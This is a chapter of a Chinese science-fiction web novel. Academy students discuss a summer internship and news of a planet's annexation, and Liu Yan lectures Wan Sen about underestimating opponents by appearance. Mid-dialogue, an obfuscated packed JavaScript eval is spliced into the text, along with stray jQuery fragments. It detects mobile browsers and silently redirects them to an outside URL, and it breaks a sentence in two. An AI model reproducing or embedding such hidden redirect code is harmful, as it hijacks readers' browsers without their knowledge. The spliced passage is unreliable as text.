66.冥顽不灵

作品:《星际打工人

    “叮咚。”


    柳言的智脑突然弹出一条入账提示,屏幕上一连串白花花的零直看得她眼晕。


    和雪村的消息适时弹了出来。


    【和雪村:钱收到了吧?这是你当初帮德尔罗修理机甲和教授重型武器使用方法的报酬。德尔罗最近事情多,到账慢了些,见谅。】


    柳言瞧着这笔突发横财,简直要笑得合不拢嘴了,但表面上,她还是要谦虚谦虚。


    【柳言:太感谢了!不过,这金额是不是有点太多了?】


    【和雪村:这都是你应得的。】


    “这次回来这么早?”


    索兰提军校食堂内,牧诩对和雪村的出现满脸意外。


    这人向来习惯赶在开学最后一天晚上才返校,从不愿意早回来一天,这次竟破天荒地提前了一周。


    彼时的和雪村正坐在食堂的餐桌旁摆弄智脑,闻言,她抬眼一瞧,“你们暑期实习的怎么样?”


    提起实习,牧诩也是稀里糊涂。


    他挠着头,在和雪村对面坐下,“说实话,我到现在都没搞懂,这次实习到底算不算完成了……”


    “嗯?”和雪村发出一声疑问,顺便默默地将自己的餐盘往外挪了挪,免得牧诩挠头时,头皮屑掉进自己的食物里。


    “讲道理,我们的任务其实算失败了,没能成功救出受害人。可边防军那边说,这次情况特殊,看在我们全程拼尽全力的份上,最后还是给我们算完成实习了。”牧诩娓娓道来。


    “幸好你没跟我们一起去……你都不知道,我们刚靠近那处违法窝点,停车场底下突然就炸了!还好当时我们离得不算太近,不然现在能不能完整站在这儿都难说。”


    回想起大爆炸的场景,牧诩还心有余悸。


    尤其是李玥浑身是血,跌跌撞撞从大金旅馆里冲出来。


    按他们当时的情报,那处违法窝点就在停车场地下。再晚几分钟,她恐怕就要被火海吞没了。


    和雪村点点头,“完成了就好。”


    “对了,你这个暑假去哪了?一整个假期都见不到人影。”牧诩诧异地追问。


    “我回老家了。”


    “噢~我记得你好像不是帝国人吧?你的老家有什么好玩的东西吗?”


    牧诩自幼在维斯帕帝国长大,从未踏出过国境,对其他星球的世界满怀好奇。


    和雪村垂着眸子,扒拉着餐盘中的食物,“跟维斯帕一样,没什么不同。”


    那地方……现在已经被虫兽占领了。


    她之所以隐瞒自己实际是去了巴利星,是怕引来不必要的麻烦。


    在维斯帕帝国人眼中,巴利星就是一片不折不扣的极恶之地。同样,他们也绝不会对生活在那里的人,抱有任何善意的假设。


    “叮咚。”


    和雪村与牧诩的智脑同时响起新闻推送提示音。


    通常情况下,只有维斯帕帝国发生重大事件时,才会向所有公民的智脑发送强制推送。


    和雪村点开星网新闻,看清标题后差点惊掉下巴。


    #巴利星正式归属维斯帕帝国!!!#


    不是?她就回了趟学校,怎么这外头天翻地覆了?


    李三刀逝世,现在德尔罗星盗集团的实际掌权人应该已经换成了鼠溜子。


    但和雪村左思右想,也想不通鼠溜子为何忽然决定带着巴利星归顺维斯帕帝国,甚至都没有告知自己一声。


    毕竟自打她加入德尔罗集团以来,其内部上下的风气都是与维斯帕帝国不共戴天。


    等等!


    那这么说来,自己以后不就成了维斯帕帝国的公民?


    说不定还能靠着德尔罗混个正式编制?


    和雪村喜滋滋想到。


    看着对面的少女忽而眉开眼笑,牧诩心下一阵疑惑:“你乐什么?”


    这新闻很有趣吗?


    和雪村收敛神色,一本正经道:“突然想到了件好笑的事。”


    自从开学典礼那日,万森因为一时失策闯了祸,这几日便如避蛇蝎般躲着柳言,柳言倒是想见他都见不着面。


    机甲单兵系的下课时间到,柳言倚在教室门口,守株待兔某人。


    教室里的人三三两两地出来,姜子梅和许从之也在其中,路过时,柳言还笑着同二人打了声招呼。


    万森是最后一个出来的,耷拉着眼皮,睡眼惺忪。


    “怎么,这节课又从头睡到尾了?”柳言双臂环胸,瞧着他毫无察觉地要从自己身侧溜过去,这才淡淡开口叫住他。


    万森听见这熟悉的声音,身子一僵,半晌才机械地转过头。


    看清来人时,他那副表情,活像见了猫的老鼠。


    “小、小言言……你怎么会在这儿?”他干笑两声,尴尬地挠着头,眼神飘来飘去,就是不敢与柳言对视。


    柳言懒得同他绕弯子,开门见山道:“你打算躲我到什么时候?”


    女孩脸上没什么表情,瞧着不像是生气,可也说不上多和颜悦色……万森实在揣不透她的心思。


    “我哪有故意躲你?这不是最近课程太紧,忙得脚不沾地嘛!”万森打着哈哈,试图蒙混过关。


    “我怎么没看见简汐?”柳言见状,也不戳破,故意岔开话题,好叫他紧绷的神经松快些。


    狡兔还需三窟。


    “我今儿也没见着她,估计是翘课了吧。”万森一脸的习以为常。


    别看简汐平日里一副老实本分的模样,实则在他们四人里头,数她最是不守规矩。


    “走吧,一起去吃午饭,我请。”柳言主动发出邀请。


    一听有免费的午饭可吃,万森登时两眼放光,脸上的愁云一扫而空,忙不迭点头应下:“好啊好啊!”


    可没一会儿,他就后悔了。


    两人坐在嘈杂的食堂之中。


    柳言慢条斯理地开口:“万森,我想和你谈谈,关于开学典礼那场考核的事。”


    万森一听见这个话题,嘴里的饭菜顿时就不香了,他下意识地就想找个借口溜之大吉,可抬眼看看四周,实在编不出什么像样的理由。


    他只好蔫蔫地挤出三个字:“对不起……”


    柳言勾了勾唇角,言辞却颇为犀利:“这不是道不道歉的问题。我不希望,今后执行任务时,再发生诸如此类的事件。还好这次只是场简单的开学考核,无关生死。”


    可以后呢?


    她和万森,不仅是朋友,更是要并肩作战的同事。任何一个人的一念之差,都有可能影响整个任务的走向。


    “今天我叫你来,并没有想要指责你的意思。我只是想知道,当时你做出那个决定的时候,心里到底在想些什么?”


    “只有弄清楚你的想法


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069750|191229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,我们才能真正解决问题,避免以后再犯同样的错,不是吗?”


    柳言所做的一切,从不是为了将责任归咎在谁的身上,而是要根除隐患。


    她也不介意在这种事上同同伴直言不讳,哪怕这么做,有可能会让彼此的关系变得疏远。


    良好的沟通,才能让团队的任务效率达到最大化。


    万森沉默半晌,缓缓道出了缘由:“在我的家乡萨利尔,雌性……呃,是女性,天生就要承担繁衍族群的重任,男性则生来就要守护族群里的女性和幼崽。所以,我们打小就被教导,要做顶天立地的男子汉,面对女性主动施以保护。”


    柳言了然:“所以,当时你会做出那个选择,完全是出于本能,对吗?”


    “是……”万森的头埋得更低了。


    “但这里不是你的家乡,没有什么男性天生要保护女性的规矩,在星际,男女从始至终,都是平等的。”


    “这次开学典礼的考核,在你眼里,我方队伍占据了绝对优势,所以你才会抱着胜券在握的心态,去接纳甘珆的弱小。说到底,你还是没把她放在眼里,没觉得她有什么威胁。若是甘珆的实力,能比得上你入学考试或是全民机甲大赛里遇到的那些女对手,你断然不会做出这样的选择。”柳言字字句句条理清晰,将万森的心思剖析得淋漓尽致。


    万森越听,脸上的羞愧之色便越重。


    “万森,外表从来都不能决定一切。甘珆虽然瞧着,确实很符合你心里‘弱女子’的形象,但不是所有人的强大,都会明晃晃地摆在台面上。”


    “甘珆是机械系的新生,论单打独斗的能力,她不算出众。但你比赛结束后也知道了,她那四个队友,正是栽在了简汐和许从之手里。队友尽数出局,甘珆是从比赛的角度出发,才故意示弱设下诱饵,用那副楚楚可怜的样子,来博取你的同情。”


    “或许在你之前,已经有人更早发现了她,只是碍于警惕心,没有上当。而你,恰好就是那个糊涂蛋,踩进了甘珆布好的陷阱。”


    “若是当时我们几个不在你身边,你是不是就要被甘珆耍得团团转,连怎么输的都不知道?”柳言扶额轻叹。


    万森眼睛一亮,像是茅塞顿开道:“小言言,我明白了!”


    “你明白什么了?”柳言将信将疑。


    “以后一定要擦亮眼睛,别再被这种耍心眼的人骗了!”


    柳言一口气没憋住,险些被自己的唾沫呛到,愠怒地瞪着他,“错!重点是不要以貌取人!不管对方是男是女,都别一上来就把人归到弱者的范畴里。面对陌生人,永远要抱着十二分的警惕心,懂吗?”


    万森缩了缩脖子,弱弱应道:“哦……”


    瞧着他那副似懂非懂的神色,柳言总感觉自己方才苦口婆心地叭叭了那么多,全喂了狗……


    她心里清楚,虽说万森胡乱把理由归咎于家乡的习俗,可究其根本,他不止是对女性缺乏警惕,面对男性时,也照样是一副大大咧咧的性子。


    就像当初在隔离区,他仅凭“狱友”之情,就把陆时铮划进了自己人的圈子。


    后来几人在破烂飞船上,私下谈论世管局的事情时,他也半点避嫌的念头都没有。


    思及至此,柳言无奈地叹了口气。


    看来,想把这个粗线条的家伙教明白,她的科普之路,还真是任重而道远。